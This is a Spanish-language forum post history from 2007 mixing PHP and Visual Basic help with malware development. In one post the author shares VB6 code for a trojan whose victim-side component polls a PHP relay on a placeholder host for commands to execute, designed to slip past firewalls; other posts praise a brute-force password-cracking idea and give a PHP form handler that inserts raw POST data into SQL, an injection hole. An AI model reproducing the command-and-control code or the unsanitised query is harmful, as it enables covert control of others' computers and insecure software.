Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Spider-Net

#1041
PHP / Re: Como enviar los datos a la Base de Datos
3 Septiembre 2007, 23:30 PM
Pues eso que quieres hacerno es complicado, a ver si no me equivoco sería algo así:

Suponiendo que tienes una base de datos, con una tabla creada con los campos:
nombre, email, url, asunto, texto.

El archivo engranes.php sería tal que así:

Código (php) [Seleccionar]
<?php
// 1.- RECOGIDA DE DATOS DEL FORMULARIO
$nombre=$_POST['nombre'];
$email=$_POST['email'];
$url=$_POST['url'];
$asunto=$_POST['asunto'];
$texto=$_POST['texto'];

// 2.- IDENTIFICACION nombre de la base, del usuario, clave y servidor
$db="nombredeladb";
$db_login="tunombredeusuario";
$db_pswd="tupass";
$link mysql_connect("server.delabase.dedatos"$db_login$db_pswd);

// 3.- CONEXION A LA BASE DE DATOS
mysql_select_db($db $link);

// 4.- INSERCION DE DATOS
mysql_query ("INSERT INTO 
NOMBREDELATABLA (nombre, email, url, asunto, texto)
VALUES ('
$nombre','$email','$url','$asunto','$texto')");

print(
"Datos agregados a la base.");

mysql_close($link);


?>


Solo tienes que sustituir tu nombre de usuario y pass, el de la base de datos y tu server y por supuesto donde dice NOMBREDELATABLA pon el nombre de la tabla de tu base de datos.
Con eso no deberías de tener más problemas para insertar los datos en la base de datos, espero que te sea de ayuda ;)

Saludos
#1042
Yo creo que eso no es lo que ha preguntado, quiere un programa con elque saber en que lenguaje ha sido programado cierto archivo si no me equivoco. Eso puedes verlo con PEiD. Es un programa que te dirá el último programa que compiló ese archivo y así sabrás si fue Visual Basic, C, Delphi o lo que sea.

El problema es que si el archivo ha sido cifrado con algún programa o ha sido empaquetado después de compilar con UPX o algún encrypter tendrás que desenpaquetar el upx o revertir el proceso que sea que no suele ser muy difícil. A unas malas podrías hacerlo con OllyDbg si sabes un poquito de ingeniería inversa no es muy complicado.
Por cierto PEiD te indica si el archivo ha sido comprimido y si es así te indica con que programa fue comprimido o cifrado. Osea que es fácil de hacer lo que quieres con este programa ;)

Saludos
#1043
Jejeje no, no saltan los firewalls porque la llamada es a una web, es igual que visitar una página web cualquiera, como si abres el internet explorer y escribes www.unserver.com/unarchivo.txt. Por eso no salta el firewall y con mi programa tampoco salta, no porque yo lo digo,sino porque está probado, y va bastante bien.

Bueno voy a probar a hacer esas cosas que me dijiste a ver si con esos cambios se ralentiza menos la conexión, gracias y saludos :P
#1044
Buenas, una vez más estoy aquí con un problemilla, bueno una duda existencial que tengo :O a ver si me la podéis resolver.

Estoy programando una aplicación, se le puede llamar troyano o como sea. La cosa es que por los problemas de conexiones con routers, firewalls y demás, el troyano funciona de la siguiente forma.
Un archivo PHP se aloja en cualquier server junto a un log.txt. El troyano envia los datos por GET osea http://miserver.com/ miarchivo.php?comando=comando a ejecutar
Este archivo.php captura el comando y lo deja en el log.txt

El server va descargando el archivo log.txt y según el comando que tenga, lo ejecuta.
Bien pues lo hago con la api wininet para ahorrar dependencias, ya sé que puedo hacer eso con Winsock y con Inet pero no quiero dependencias para el server de un troyano.
Bueno pues el código en general funciona todo bien, tarda apenas 1 ó 2 segundos en realizarse todo el proceso pero la cosa es que el server para comprobar que comando tiene que ejecutar tiene que descargar el archivo log.txt continuamente, lo hago con un timer, pero esque al tener que conectar tantas veces se ralentiza y no quiero que se consuman tantos recursos...

Me gustaría que conectase y una vez abierta la conexión el resto de veces descargase el archivo puesto que la conexión no la cierro, pero no funciona...alguien podría decirme como arreglarlo?, esque si obligadamente tengo que conectar cada ve que quiero recargar el archivo, osea cada segundo, puff, eso lo va a notar el rendimiento del pc, consume más recursos... se nota considerablemente...

El código es el siguiente, a ver si me podéis ayudar.
Código (vb) [Seleccionar]

' variables generales
Dim data As String
Dim x As Boolean
' Constantes para las funciones Api
Const scUserAgent = "API-Guide test program"
Const INTERNET_OPEN_TYPE_DIRECT = 1
Const INTERNET_FLAG_RELOAD = &H80000000
Const INTERNET_FLAG_NO_CACHE_WRITE = &H4000000
' Crea conexión a internet
Private Declare Function InternetOpen Lib "wininet" Alias "InternetOpenA" ( _
    ByVal sAgent As String, _
    ByVal lAccessType As Long, _
    ByVal sProxyName As String, _
    ByVal sProxyBypass As String, _
    ByVal lFlags As Long) As Long
' Abre URL
Private Declare Function InternetOpenUrl Lib "wininet" Alias "InternetOpenUrlA" ( _
    ByVal hInternetSession As Long, _
    ByVal lpszUrl As String, _
    ByVal lpszHeaders As String, _
    ByVal dwHeadersLength As Long, _
    ByVal dwFlags As Long, _
    ByVal dwContext As Long) As Long
' Cierra conexión
Private Declare Function InternetCloseHandle Lib "wininet" (ByVal hInet As Long) As Integer
'CONTENIDO DEL FICHERO
Private Declare Function InternetReadFile Lib "wininet" ( _
ByVal hFile As Long, _
ByVal sBuffer As String, _
ByVal lNumBytesToRead As Long, _
lNumberOfBytesRead As Long) As Integer
'Variables para recargar constantemente
Dim hOpen As Long
Dim hFile As Long

'///////// MANDAMOS MENSAJE ONLINE AL EJECUTAR ///////////////
Private Sub Form_Load()
'ASIGNAMOS VARIABLES Y ABRIMOS CONEXION
Dim hOpen As Long
Dim hFile As Long
Dim Url As String

Url = "http://miserver/log.php?comando=online"

        hOpen = InternetOpen(scUserAgent, INTERNET_OPEN_TYPE_DIRECT, _
        vbNullString, vbNullString, 0)
        hFile = InternetOpenUrl(hOpen, Trim$(Url), vbNullString, _
        ByVal 0&, INTERNET_FLAG_NO_CACHE_WRITE, ByVal 0&)
DoEvents
x = True
Timer1.Enabled = True
End Sub
'///////// MANDAMOS MENSAJE OFFLINE AL CERRAR ///////////////
Private Sub Form_Unload(Cancel As Integer)
'ASIGNAMOS VARIABLES Y ABRIMOS CONEXION
Dim hOpen As Long
Dim hFile As Long
Dim Url As String

Url = "http://miserver.com/log.php?comando=offline"

        hOpen = InternetOpen(scUserAgent, INTERNET_OPEN_TYPE_DIRECT, _
        vbNullString, vbNullString, 0)
        hFile = InternetOpenUrl(hOpen, Trim$(Url), vbNullString, _
        ByVal 0&, INTERNET_FLAG_NO_CACHE_WRITE, ByVal 0&)
Espera (1)
End Sub
'//////////////////////////////////////////////////////////////
Private Sub Timer1_Timer()
'ASIGNAMOS VARIABLES Y ABRIMOS CONEXION
Dim sBuffer As String * 128
Dim Ret As Long
Dim str_Total As String
Dim Url As String
If x = True Then

Url = "http://miserver.com/log.txt"

        hOpen = InternetOpen(scUserAgent, INTERNET_OPEN_TYPE_DIRECT, _
        vbNullString, vbNullString, 0)
        hFile = InternetOpenUrl(hOpen, Trim$(Url), vbNullString, _
        ByVal 0&, INTERNET_FLAG_NO_CACHE_WRITE, ByVal 0&)
'LEEMOS FICHERO

        Call InternetReadFile(hFile, sBuffer, 128, Ret)

        str_Total = sBuffer
       
        While Ret <> 0
            Call InternetReadFile(hFile, sBuffer, 128, Ret)
            str_Total = str_Total & Mid(sBuffer, 1, Ret)
            DoEvents
        Wend
        x = False

Else
    'DESCARGAMOS FICHERO
     hFile = InternetOpenUrl(hOpen, Trim$(Url), vbNullString, _
        ByVal 0&, INTERNET_FLAG_NO_CACHE_WRITE, ByVal 0&)
        Call InternetReadFile(hFile, sBuffer, 128, Ret)

        str_Total = sBuffer
        While Ret <> 0
            Call InternetReadFile(hFile, sBuffer, 128, Ret)
            str_Total = str_Total & Mid(sBuffer, 1, Ret)
            DoEvents
        Wend

        Text1.Text = str_Total
End If
End Sub

Sub Espera(Segundos As Single)
  Dim ComienzoSeg As Single
  Dim FinSeg As Single
  ComienzoSeg = Timer
  FinSeg = ComienzoSeg + Segundos
  Do While FinSeg > Timer
      DoEvents
      If ComienzoSeg > Timer Then
          FinSeg = FinSeg - 24 * 60 * 60
      End If
  Loop
End Sub



Como podéis ver la parte importante es la deltimer que es la que tiene un valor x=true, para que la primera vez haga el proceso completo pero luego la pone en false para que el timer solo descargue el archivo puesto que la conexión supuestamente está abierta porque yo no la cerré. Quizás me estoy equivocando y esto que quiero hacer no es factible, pero si es así aclarádmelo por favor, porque me estoy comiendo el coco demasiado xDD
Saludos,

y gracias de antemano.
#1045
OK ;) Ya lo tengo funcionando, muchísimas gracias por tu post KiZaR

Saludos
#1046
Muchas gracias, por encima lo he probado y ya no me da ese error, pero no llega a completarse el proceso, lo voy a revisar y si no encuentro solución lo publico a ver si podéis ayudarme, gracias por tu ayuda APOKLIPTICO ;)

Saludos
#1047
Hola, pues llevo más o menos toda la tarde líado con un intento de cliente de msn. Ya sé que hay muchos códigos por google y eso, pero no me gustan, hay algunos que tienen demasiado código basura que no me sirve de nada, he leído bastante sobre los protocolos de MSN y creo que tengo ya una idea de como funcionan y si no me equivoco esto que hice, está correcto, sé que puede optimizarse, y lo haré pero de momento simplemente quería que conectase, el problema es que no lo hace. En el data_arrival del socket una vez conectado he capturado los datos que recibe y me sale ???????????????

No sé que pasará por eso os pido ayuda a ver si sabéis ayudarme un poco, el código es el siguiente:

Código (vb) [Seleccionar]
Dim data, aux, keys As String
Dim vaux As Variant

Private Sub Command1_Click()
Winsock1.Connect "messenger.hotmail.com", 1863
End Sub

Private Sub Winsock1_Connect()
Winsock1.SendData "VER 1 MSNP8 CVR0" & vbCrLf
End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Winsock1.GetData data
Winsock1.GetData aux
data = Left(data, 3)

Select Case data

Case "VER"
Winsock1.SendData "CVR 2 0x0C0A winnt 5.1 i386 MSNMSGR 7.5.0311 MSMSGS " & Text1.Text & vbCrLf

Case "CVR"
'//EL TEXT1.TEXT CONTIENE LA CUENTA CON LA QUE QUIERO CONECTAR
Winsock1.SendData "USR 3 TWN I " & Text1.Text & vbCrLf


Case "XFR"  '//                       AQUÍ LO QUE HAGO ES COGER SOLO
aux = Mid(aux, 9, 18)             'LA PARTE DEL PAQUETE QUE TIENE LOS
vaux = Split(aux, ":")              'DATOS QUE ME INTERESAN
Winsock1.Close
Winsock2.Connect vaux(0), vaux(1)
End Select
End Sub


Private Sub Winsock2_Connect()
Winsock1.SendData "VER 4 MSNP8 CVR0" & vbCrLf
End Sub


Private Sub Winsock2_DataArrival(ByVal bytesTotal As Long)
Winsock2.GetData data
Winsock2.GetData aux

Select Case data
data = Left(data, 3)
Case "VER"
Winsock2.SendData "CVR 5 0x0409 win 4.10 i386 MSNMSGR 5.0.0544 MSMSGS " & Text1.Text & vbCrLf

Case "CVR"
Winsock2.SendData "USR 6 TWN I " & Text1.Text & vbCrLf

Case "USR"
Dim a As Integer
a = Len(aux) - 11
keys = Mid(aux, 11, a)
Winsock3.Connect "login.passport.com", 443
End Select
End Sub

Private Sub Winsock3_Connect()
Winsock3.SendData "GET /login2.srf HTTP/1.0" & vbCrLf & _
                  "Accept: */*" & vbCrLf & _
                  "Host: login.passport.com" & vbCrLf & _
                  "Authorization: Passport1 0.4 OrgVerb=GET,OrgURL=http%3A%2F%2Fmessenger%2Emsn%2Ecom,signin=" & Text1.Text & ",pwd=password," & keys & vbCrLf

End Sub

Private Sub Winsock3_DataArrival(ByVal bytesTotal As Long)
Winsock3.GetData data
End Sub


Y bueno eso es todo el código, ni que decir tiene que no pasa ni de la primera acción, puse un timer que capturase en todo momento el valor "data" y desde que conecta y envía el primer comando ya el data se vuelve "????????" no sé por que, porque si hago los mismos pasos desde telnet o netcat me va devolviendo bien los valores.

Alguna idea para ayudarme por favor??

Gracias
#1048
Pos si ques verdad, pero bueno, está bien la idea y no está de más probarla :P
#1049
Pues a mi me parece interesante la idea. Si la cuenta no se bloquea quizás el número de cuentas que comprueba es muy bajo y el generador de claves se podría mejorar o que cada uno ponga el que le parezca más conveniente pero para incrementar el número de passwords que comprueba con multiplicar el número se sockets y hacerlos probar passwords a todos generándolas aleatoriamente, creo que podría estar bien. Es difícil como han comentado sacar passwords, casi imposible como de 14 caracteres, pero esque hay que considerar que hay gente que usa passwords mucho más simples y esas si que podría ser que se crackeasen quizás,nosé la cuestión es planteárselo y probar, yo voy a ojear un poco el código a ver que tal.
#1050
Para crear un archivo no es más fácil hacer esto??

Código (vb) [Seleccionar]
Sub Crear_Archivo()

Open ("C:\Prueba.txt") For Append As #1,
   Print #1, "El texto que quieras"
   Close #1

End Sub

Se agregará lo que escribas al nuevo archivo, no se sustituirá como dices que te ocurre ahora ;)

Saludos.